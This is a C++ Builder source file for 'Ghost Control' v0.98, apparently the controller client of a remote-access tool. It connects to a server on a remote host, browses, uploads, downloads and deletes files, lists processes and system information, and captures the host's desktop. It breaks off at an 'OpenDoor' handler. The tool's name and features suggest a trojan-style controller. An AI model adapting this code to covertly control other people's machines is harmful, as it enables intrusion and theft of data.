📄 mainunit.cpp
字号:
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "MainUnit.h"
#include "SettingUnit.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "trayicon"
#pragma resource "*.dfm"
TMainForm *MainForm;
//---------------------------------------------------------------------------
__fastcall TMainForm::TMainForm(TComponent* Owner)
: TForm(Owner)
{
ButtonStatus();
Error=0;
OutSocket=NULL;
livecap=false;
cancap=false;
Notebook->ActivePage="ControlPage";
TPowersock *getip=new TPowersock(this);
LocalIP=getip->LocalIP;
delete getip;
TIniFile *ini;
ini=new TIniFile(".\\Setting.ini");
ClientSocket->Port=ini->ReadInteger("Config","PORT",6712);
delete ini;
StatusBar->Panels->Items[1]->Text=Now();
}
//---------------------------------------------------------------------------
void TMainForm::ButtonStatus() //set buttons value
{
if(ConnectStatus)
{
edtMsg->ReadOnly=false;
StatusBar->Panels->Items[2]->Text="connecting status";
cancap=true;
btnDriverinfo->Enabled=true;
btnSysinfo->Enabled=true;
btnRunning->Enabled=true;
btnProgram->Enabled=true;
btnUpload->Enabled=true;
btnDownload->Enabled=true;
btnDel->Enabled=true;
btnRefresh->Enabled=true;
btnSetup->Enabled=true;
btnGo->Enabled=true;
btnSetting->Enabled=false;
}
else
{
edtMsg->ReadOnly=true;
StatusBar->Panels->Items[2]->Text="disconnect status";
cancap=false;
btnDriverinfo->Enabled=false;
btnSysinfo->Enabled=false;
btnRunning->Enabled=false;
btnProgram->Enabled=false;
btnUpload->Enabled=false;
btnDownload->Enabled=false;
btnDel->Enabled=false;
btnRefresh->Enabled=false;
btnSetup->Enabled=false;
btnGo->Enabled=false;
btnSetting->Enabled=true;
}
}
//------------------------------------------------------
int Break(AnsiString sMeg,AnsiString sMeg1[],AnsiString mark) //Break the Re Message
{
int ml,v,i=0;
while(v=sMeg.AnsiPos(mark))
{
ml=mark.Length();
sMeg1[i]=sMeg.SubString(0,v-1);
sMeg.Delete(1,v-1+ml);
i++;
}
sMeg1[i++]=sMeg;
return i;
}
//-----------------------------------------------------------------------------
void __fastcall TMainForm::Timer1Timer(TObject *Sender)
{
StatusBar->Panels->Items[1]->Text=Now();
}
//---------------------------------------------------------------------------
void TMainForm::SetColor(AnsiString MsgToSet,TColor c,int Size)
{ //set color on which message diplay
int oldl;
oldl=MsgMemo->Text.Length();
MsgMemo->Lines->Add(MsgToSet);
MsgMemo->SelStart=oldl;
MsgMemo->SelLength=MsgToSet.Length();
MsgMemo->SelAttributes->Color=c;
MsgMemo->SelAttributes->Size=Size;
}
//------------------------------------------------------------------
void TMainForm::DisEnableConnect()
{
ConnectStatus=false;
ClientSocket->Close();
OutSocket=NULL;
ButtonStatus();
}
//-----------------------------------------------------------------
void __fastcall TMainForm::btnConnectClick(TObject *Sender)
{
Notebook->ActivePage="ControlPage";
if(edtHost->Text.Length()!=0)
{
if(!ConnectStatus)
{
ClientSocket->Host=edtHost->Text;
ClientSocket->Port=6712;
ClientSocket->Open();
}
}
else
{
StatusBar->Panels->Items[0]->Text=" Please Input host ip";
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketConnect(TObject *Sender,
TCustomWinSocket *Socket)
{
StatusBar->Panels->Items[0]->Text=" Connect to "+edtHost->Text+" sucess";
ConnectStatus=true;
ButtonStatus();
OutSocket=Socket;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketConnecting(TObject *Sender,
TCustomWinSocket *Socket)
{
StatusBar->Panels->Items[0]->Text=" Connecting...";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketDisconnect(TObject *Sender,
TCustomWinSocket *Socket)
{
StatusBar->Panels->Items[0]->Text=" disconnected with Server";
DisEnableConnect();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketError(TObject *Sender,
TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
StatusBar->Panels->Items[0]->Text=" Connect to server fail ! ErrorCode:"+IntToStr(ErrorCode);
DisEnableConnect();
Error=ErrorCode;
ErrorCode=0;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketRead(TObject *Sender,
TCustomWinSocket *Socket)
{
//receive msg from server
AnsiString sMsg,sMeg1[512];
int j,n;
int i=1;
sMsg=Socket->ReceiveText();
n=Break(sMsg,sMeg1,"`");
if(sMeg1[0]=="folder")
{
while(i<n-1)
{
TListItem *folderItem=FileListView->Items->Add();
folderItem->ImageIndex=0;
folderItem->Caption=sMeg1[i++];
}
if(sMeg1[1].Length())
{
EditMemo->Lines->Add("success!");
}
}
else if(sMeg1[0]=="file")
{
AnsiString file[4];
for(j=1;j<n-1;j++)
{
Break(sMeg1[j],file,"|");
TListItem *fileItem=FileListView->Items->Add();
fileItem->ImageIndex=1;
fileItem->Caption=file[0];
fileItem->SubItems->Add(file[1]+" Kb");
fileItem->SubItems->Add(file[2]);
}
if(sMeg1[1].Length())
{
EditMemo->Lines->Add("success!");
}
}
else if(sMeg1[0]=="sysinfo")
{
MsgMemo->Lines->Add(" ");
for(j=1;j<n-1;j++)
{
SetColor(sMeg1[j],clGreen,10);
}
}
else if(sMeg1[0]=="driverinfo")
{
for(j=1;j<n-1;j++)
{
MsgMemo->Lines->Add(" ");
SetColor(sMeg1[j],clBlack,10);
}
}
else if(sMeg1[0]=="run")
{
MsgMemo->Lines->Add(" ");
for(j=1;j<n-1;j++)
{
SetColor(sMeg1[j],clRed,10);
}
}
else if(sMeg1[0]=="del")
{
EditMemo->Lines->Add("delete file success!");
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ClientSocketLookup(TObject *Sender,
TCustomWinSocket *Socket)
{
StatusBar->Panels->Items[0]->Text="Looking up...";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnExitClick(TObject *Sender)
{
Close();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnSendClick(TObject *Sender)
{
int type;
if(edtMsg->Text.Length()!=0)
{
type=MsgTypeBox->ItemIndex;
switch(type)
{
case 0:
OutSocket->SendText(edtMsg->Text);
break;
case 1:
OutSocket->SendText("`system`"+edtMsg->Text);
break;
case 2:
OutSocket->SendText("`warning`"+edtMsg->Text);
break;
}
}
else
{
StatusBar->Panels->Items[0]->Text="NULL Message";
}
MsgTypeBox->Text="普通消息";
edtMsg->SetFocus();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::FormActivate(TObject *Sender)
{
edtMsg->SetFocus();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnClearClick(TObject *Sender)
{
edtMsg->Text="";
MsgMemo->Clear();
edtMsg->SetFocus();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::PingItemClick(TObject *Sender)
{
int i;
ICMP->OnReply=ICMPReply;
ICMP->ReceiveTimeout=1000;
PingItem->Enabled=false;
try
{
ICMP->Host=edtHost->Text;
for(i=1; i<=4; i++)
{
ICMP->Ping();
Application->ProcessMessages();
//Sleep(1000);
}
}
__finally
{
PingItem->Enabled=true;
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ICMPReply(TComponent *ASender,
const TReplyStatus &AReplyStatus)
{
AnsiString sTime, result[5],IcmpMsg;
// TODO: Check for error on ping reply (ReplyStatus->MsgType?)
if(AReplyStatus.MsRoundTripTime == 0)
{
sTime = "<1";
}
else
{
sTime = "=";
}
result[0] = IntToStr(AReplyStatus.BytesReceived);
result[1] = AReplyStatus.FromIpAddress;
result[2] = IntToStr((int)AReplyStatus.SequenceId);
result[3] = IntToStr((int)AReplyStatus.TimeToLive);
result[4] = sTime;
result[5] = IntToStr(AReplyStatus.MsRoundTripTime);
IcmpMsg=(result[0] + " bytes from " + result[1] +
": icmp_seq=" + result[2] + " ttl=" + result[3] +
" time" + result[4] + result[5] + " ms");
SetColor(IcmpMsg,clBlack,10);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::FormCreate(TObject *Sender)
{
MEMORYSTATUS meminfo;
meminfo.dwLength=sizeof(MEMORYSTATUS);
GlobalMemoryStatus(&meminfo);
MsgMemo->Clear();
MsgMemo->Lines->Add("------------------------------------------------");
MsgMemo->Lines->Add(" SoftWare Name : Ghost Control");
MsgMemo->Lines->Add(" Version : 0.98");
MsgMemo->Lines->Add(" PoweRed By : Hellf !Re.W");
MsgMemo->Lines->Add(" Thank you for using my SoftWare!");
MsgMemo->Lines->Add("------------------------------------------------");
MsgMemo->Lines->Add(" 内存总量:"+String(meminfo.dwTotalPhys/1024/1024)+"Mb 可用物理内存:"+String(meminfo.dwAvailPhys/1024/1024)+"Mb");
MsgMemo->SelStart=0;
MsgMemo->SelLength=MsgMemo->Text.Length();
MsgMemo->SelAttributes->Color=clBlue;
MsgMemo->SelAttributes->Size=10;
MsgMemo->SelAttributes->Name="Bookman Old Style";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::BtnScanClick(TObject *Sender)
{
/*if(Notebook->PageIndex!=0)
{
Notebook->ActivePage="ControlPage";
}
HostList->Clear();
AnsiString iHead,testIP,tem[3];
int i,j;
Break(LocalIP,tem,".");
iHead=tem[0]+"."+tem[1]+"."+tem[2]+"..";
*/
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnTakecapClick(TObject *Sender)
{
if(ConnectStatus)
{
Notebook->ActivePage="CapPage"; //cancap will change to false
//if(cancap==true)
//{
cancap=false;
ScreenImage->Picture=NULL;
StatusBar->Panels->Items[0]->Text=" Trying to capture the host's desktop";
OutSocket->SendText("`cap`");
// }
}
else
{
StatusBar->Panels->Items[0]->Text=" Please connect to any active server first";
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::NotebookPageChanged(TObject *Sender)
{
cancap=false;
livecap=false;
CapTimer->Enabled=false;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnOpenDoorClick(TObject *Sender)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -